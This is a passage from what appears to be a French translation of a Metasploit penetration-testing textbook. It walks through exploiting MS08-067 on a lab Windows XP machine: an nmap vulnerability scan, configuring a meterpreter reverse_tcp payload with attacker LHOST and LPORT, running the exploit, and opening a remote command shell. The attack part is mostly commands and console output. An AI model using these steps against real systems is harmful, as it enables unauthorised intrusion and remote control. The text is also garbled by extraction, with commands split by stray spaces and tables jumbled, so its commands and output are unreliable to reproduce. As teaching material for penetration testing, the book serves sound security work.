• Aucun résultat trouvé

Id Name

--

3 Windows XP SP2 English (NX)

msf exploit(ms08_067_netapi) > unset RHOST Unsetting RHOST...

En ❶, nous définissons l’adresse IP cible (RHOST) à 192.168.1.155 (notre machine cible). En ❷, nous définissons la cible à 3, le Windows XP SP2 English (NX) que nous avons listé via show targets dans msf>

show targets à la page 77. L’exécution de show options en ❸ confirme que nos réglages ont été pris en compte, comme indiqué dans la sortie Module options.

setg et unsetg

Les commandes setg et unsetg sont utilisées pour activer ou désactiver un paramètre de manière globale dans msfconsole. L’utilisation de ces commandes peut vous éviter d’avoir à re-saisir les mêmes

informations à plusieurs reprises, en particulier dans le cas des options fréquemment utilisées qui changent rarement, comme LHOST.

save

Après avoir configuré les options globales avec la commande setg, utilisez la commande save pour enregistrer vos paramètres actuels afin qu’ils soient disponibles la prochaine fois que vous

exécuterez la console. Vous pouvez entrer la commande de sauvegarde à tout moment dans Metasploit pour enregistrer vos paramètres courants.

msf exploit(ms08_067_netapi) > s ave Saved configuration to: /root/.msf3/config msf exploit(ms08_067_netapi) >

L’emplacement sur lequel la configuration est stockée, /root/.msf3/config, est affiché à l’écran. Si vous devez recommencer, déplacez ou supprimez ce fichier pour rétablir les paramètres par défaut.

root@bt:/opt/framework3/msf3# msfconsole

. . . SNIP . . .

msf > nm ap -sT -A --sc ript=sm b-c he c k-vulns -P0 192.168.33.130 ❶ [*] exec: nmap -sT -A --script=smb-check-vulns -P0 192.168.33.130

Starting Nmap 5.20 (http://nmap.org) at 2011-03-15 19:46 EDT Warning: Traceroute does not support idle or connect scan, disabling...

NSE: Script Scanning completed.

Nmap scan report for 192.168.33.130 Host is up (0.00050s latency).

Not shown: 991 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

25/tcp open smtp Microsoft ESMTP 6.0.2600.2180 80/tcp open http Microsoft IIS webserver 5.1 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn

443/tcp open https?

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 1025/tcp open msrpc Microsoft Windows RPC

1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM MAC Address: 00:0C:29:EA:26:7C (VMware)

Device type: general purpose

Running: Microsoft Windows XP|2003

OS details: Mic rosoft Windows XP Profe ssional SP2 or Windows Se rve r 2003 ❸ Network Distance: 1 hop

Service Info: Host: ihazsecurity; OS: Windows

Host script results:

smb-check-vulns:

MS08-067: VULNERABLE ❷ Conficker: Likely CLEAN

regsvc DoS: CHECK DISABLED (add ’--script-args=unsafe=1’ to run)

SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add ’--script-args=unsafe=1’ to run)

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 71.67 seconds

msf >

Ici, nous appelons nmap depuis Metasploit avec l’option --script=smb-check-vulns en ❶. Remarquez les flags utilisés lors du scan du host avec nmap. Le -sT est une connexion TCP ; c’est le flag que nous estimons le plus fiable pour énumérer les ports (d’autres préfèrent -sS, ou Stealth Syn). Le -A précise la détection avancée des OS, qui permet également de récupérer d’autres bannières et empreintes d’un service spécifique.

Notez que dans les résultats de nmap, MS08-067 : VULNERABLE est rapporté en ❷. Cela est un bon

indicateur de chance de parvenir à exploiter ce système. Nous allons utiliser Metasploit pour trouver l’exploit requis et tenter de compromettre le système.Cet exploit est propre à la version du système d’exploitation, au service pack, et à la langue utilisée sur le système, résultant de l’exploit contournant Data Execution Prevention (DEP). DEP a été créé pour aider à se protéger contre les attaques de type buffer overflow en rendant la pile accessible en lecture seule et en empêchant ainsi un shellcode arbitrairement placé de s’exécuter. Cependant, nous pouvons contourner DEP et forcer Windows à rendre la pile accessible en écriture en effectuant une manipulation complexe de la pile (pour en savoir plus sur les contournements de DEP, voir http://www.uninformed.org/?v=2&a=4).

Dans >msf show targets à la page 77 nous avons utilisé la commande show targets, qui répertorie chaque version vulnérable de ce vecteur d’attaque. Parce que MS08-067 est un exploit qui vise spécifiquement la version de l’OS utilisé, nous allons configurer manuellement notre cible pour nous assurer que nous déclencherons le bon overflow. Sur la base des résultats de l’analyse des scans de nmap indiqué dans l’exemple précédent, nous pouvons dire en ❸ que le système fonctionne sous Windows XP Service Pack 2 (il est également identifié comme pouvant être Windows 2003, mais le système ne contient pas les principaux ports qui seraient associés à la Server Edition). Nous considérons que notre cible exécute la version anglaise de XP.

Passons à l’exploitation réelle. D’abord la configuration :

msf > se arc h m s08_067_ne tapi ❶

[*] Searching loaded modules for pattern ’ms08_067_netapi’...

Exploits

========

Name Rank Description

---- ----

---/smb/ms08_067_netapi great Microsoft Server Service Relative Path Stack Corruption

msf > use windows/sm b/m s08_067_ne tapi ❷

msf exploit(ms08_067_netapi) > se t PAYLOAD windows/m e te rpre te r/re ve rse _tc p ❸ payload => windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > show targ e ts ❹

Exploit targets:

Id Name --

----0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows XP SP2 Eng lish (NX) ❺ 4 Windows XP SP3 English (NX) 5 Windows 2003 SP0 Universal 6 Windows 2003 SP1 English (NO NX) 7 Windows 2003 SP1 English (NX) 8 Windows 2003 SP2 English (NO NX) 9 Windows 2003 SP2 English (NX)

. . . SNIP . . .

26 Windows XP SP2 Japanese (NX)

. . . SNIP . . .

msf exploit(ms08_067_netapi) > se t TARGET 3 target => 3

msf exploit(ms08_067_netapi) > se t RHOST 192.168.33.130 ❻ RHOST => 192.168.33.130

msf exploit(ms08_067_netapi) > se t LHOST 192.168.33.129 ❼ LHOST => 192.168.33.129

msf exploit(ms08_067_netapi) > se t LPORT 8080 ❽ LPORT => 8080

msf exploit(ms08_067_netapi) > show options ❾

Module options:

Name Current Setting Required

---- ---

---RHOST 192.168.33.130 yes

RPORT 445 yes

SMBPIPE BROWSER yes

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required

---- ---

---EXITFUNC thread yes

LHOST 192.168.33.129 yes

LPORT 8080 yes

Exploit target:

Id Name

--

----3 Windows XP SP2 English (NX)

Nous recherchons l’exploit MS08-067 NetAPI dans le framework en ❶. Puis, après l’avoir trouvé, nous chargeons l’exploit windows/smb/ms08_067_netapi en ❷.

Ensuite, nous avons configuré en ❸ le payload en tant que Windows Meterpreter reverse_tcp, qui, en cas de succès, va initier une connexion depuis la machine cible vers la machine attaquante spécifiée avec

LHOST. Cela est important si vous vous retrouvez confronté à un pare-feu et que vous ayez besoin de contourner les contrôles entrants sur ce pare-feu ou sur un NAT.

Meterpreter est un outil de postexploitation que nous allons utiliser par la suite dans ce livre. C’est l’un des outils phares de Metasploit. Il permet l’extraction d’informations ou la compromission de systèmes beaucoup plus facilement.

La commande show targets en ❹ nous permet d’identifier le système que nous voulons cibler (bien que de nombreux exploits MSF utilisent le ciblage automatique et ne nécessitent pas cette option, la capacité de détection automatique échoue généralement dans MS08-067).

Nous avons ensuite défini notre cible en tant que Windows XP SP2 English (NX) en ❺. Le NX est synonyme de No Execute. Par défaut, dans Windows XP SP2, DEP est activé.

En ❻, nous définissons l’adresse IP de notre machine cible, en définissant la valeur RHOST, qui est vulnérable à l’exploit MS08-067.

La commande set LHOST en ❼ indique l’adresse IP de notre machine attaquante (la machine sous

Back|Track), et l’option LPORT en ❽, le port sur lequel notre machine attaquante sera à l’écoute d’une connexion en provenance de notre cible (lorsque vous configurez l’option LPORT, utilisez un port standard qui devrait vous permettre de passer au travers du pare-feu : les ports 443, 80, 53, et 8080 sont souvent de bonnes options). Enfin, nous entrons Show Options en ❾ pour nous assurer que les options sont correctement configurées.

Après avoir préparé le terrain, nous sommes prêts à procéder à l’exploitation effective :

msf exploit(ms08_067_netapi) > e xploit ❶

[*] Started reverse handler on 192.168.33.129:8080 [*] Triggering the vulnerability...

[*] Sending stage (748032 bytes)

[*] Meterpreter session 1 opened (192.168.33.129:8080 -> 192.168.33.130:1487) ❷ msf exploit(ms08_067_netapi) > se ssions -l ❸

Active sessions

===============

Id Type Information Connection -- ---- ---

---1 meterpreter 192.168.33.129:8080 -> 192.168.33.130:1036 ❹

msf exploit(ms08_067_netapi) > se ssions -i 1 ❺ [*] Starting interaction with 1...

meterpreter > she ll ❻ Process 4060 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

La commande exploit en ❶ initie notre exploit et tente d’attaquer la cible. L’attaque réussit et nous donne un payload Meterpreter reverse_tcp en ❷, que nous pouvons voir avec sessions -l en ❸. Une seule session est active, comme indiqué en ❹, mais si nous avons ciblé plusieurs systèmes, plusieurs sessions peuvent être ouvertes simultanément (pour voir une liste des exploits qui ont créé chaque session, vous devez entrer sessions -l -v).

La commande sessions -i 1 est effectuée en ❺ afin d’interagir avec une session. Notez que cela nous donne accès à un shell Meterpreter. Si, par exemple, un reverse command shell existait, cette

commande nous aurait renvoyé directement sur un prompt. Et, enfin, nous entrons shell en ❻ pour basculer sur un shell de commande interactif sur la cible.

Félicitations ! Vous venez de compromettre votre première machine ! Pour obtenir la liste des commandes disponibles pour un exploit particulier, vous pouvez entrer show options.